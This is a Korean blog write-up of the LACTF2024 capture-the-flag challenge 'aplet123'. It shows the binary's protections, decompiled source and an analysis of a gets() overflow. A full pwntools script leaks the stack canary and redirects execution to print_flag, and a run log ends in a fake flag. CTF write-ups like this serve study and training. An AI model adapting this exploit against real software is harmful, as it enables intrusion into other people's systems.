콘텐츠로 건너뛰기

[LACTF2024] aplet123

checksec

[*] '/home/seo/study/LACTF2024/aplet123/aplet123'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No

Decompiled src

  • haystack 버퍼(크기 72바이트)에 gets로 입력받음
  • 입력 문자열에 "i'm"이 포함되어 있으면, "i'm" 바로 뒤의 문자열을 추출해 hi <이름>, i'm aplet123 형식으로 출력함.
  • "bye"를 입력하면 메인 루프 빠져나감.
int __fastcall main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax
  int v5; // eax
  char *v6; // [rsp+8h] [rbp-58h]
  char haystack[72]; // [rsp+10h] [rbp-50h] BYREF
  unsigned __int64 v8; // [rsp+58h] [rbp-8h]

  v8 = __readfsqword(0x28u);
  setbuf(_bss_start, 0);
  v3 = time(0);
  srand(v3);
  puts("hello");
  while ( 1 )
  {
    while ( 1 )
    {
      while ( 1 )
      {
        gets(haystack);
        v6 = strstr(haystack, "i'm");
        if ( !v6 )
          break;
        printf("hi %s, i'm aplet123\n", v6 + 4);
      }
      if ( strcmp(haystack, "please give me the flag") )
        break;
      puts("i'll consider it");
      sleep(5u);
      puts("no");
    }
    if ( !strcmp(haystack, "bye") )
      break;
    v5 = rand();
    puts(responses[v5 % 0x21uLL]);
  }
  puts("bye");
  return 0;
}

Analysis

gets 함수는 입력길이 제한없어 BOF 취약점 발생 가능.
연속된 A 69바이트 + “I’m” 페이로드 구성시 카나리 유출 가능.
그 후, A 72바이트 + ㅋ카나리 8바이트 + print_flag 주소 넣고, 루프문 탈출시 flag 획득 가능.

unsigned __int64 print_flag()
{
  FILE *stream; // [rsp+8h] [rbp-118h]
  char s[264]; // [rsp+10h] [rbp-110h] BYREF
  unsigned __int64 v3; // [rsp+118h] [rbp-8h]

  v3 = __readfsqword(0x28u);
  stream = fopen("flag.txt", "r");
  fgets(s, 256, stream);
  puts(s);
  return v3 - __readfsqword(0x28u);
}

solve.py

from pwn import *
# context.log_level = 'debug'
context(arch='amd64', os='linux')
warnings.filterwarnings('ignore')

p = process("./aplet123")
e = ELF('./aplet123', checksec=True)

payload = b"A"*(72-3) + b"i'm"

p.sendlineafter(b"hello\n", payload)
p.recvuntil(b"hi ")
canary = p.recv(7).rjust(0x8, b"\x00")
canary = u64(canary)
success(f"canary: {hex(canary)}")

payload = b"A"*72
payload += p64(canary)
payload += b"B"*8
payload += p64(e.symbols["print_flag"])

p.sendlineafter(b"aplet123\n", payload)

p.sendline(b"bye")

p.interactive()

Result

seo@seo:~/study/LACTF2024/aplet123$ python3 solve.py
[+] Starting local process './aplet123': pid 5528
[*] '/home/seo/study/LACTF2024/aplet123/aplet123'
    Arch:       amd64-64-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        No PIE (0x400000)
    Stripped:   No
[+] canary: 0x38089fcbde44af00
[*] Switching to interactive mode
unlucky
bye
flag{fake_flag}

[*] Got EOF while reading in interactive
$
[*] Interrupted
[*] Process './aplet123' stopped with exit code -11 (SIGSEGV) (pid 5528)
seo@seo:~/study/LACTF2024/aplet123$ cat flag.txt
flag{fake_flag}
태그: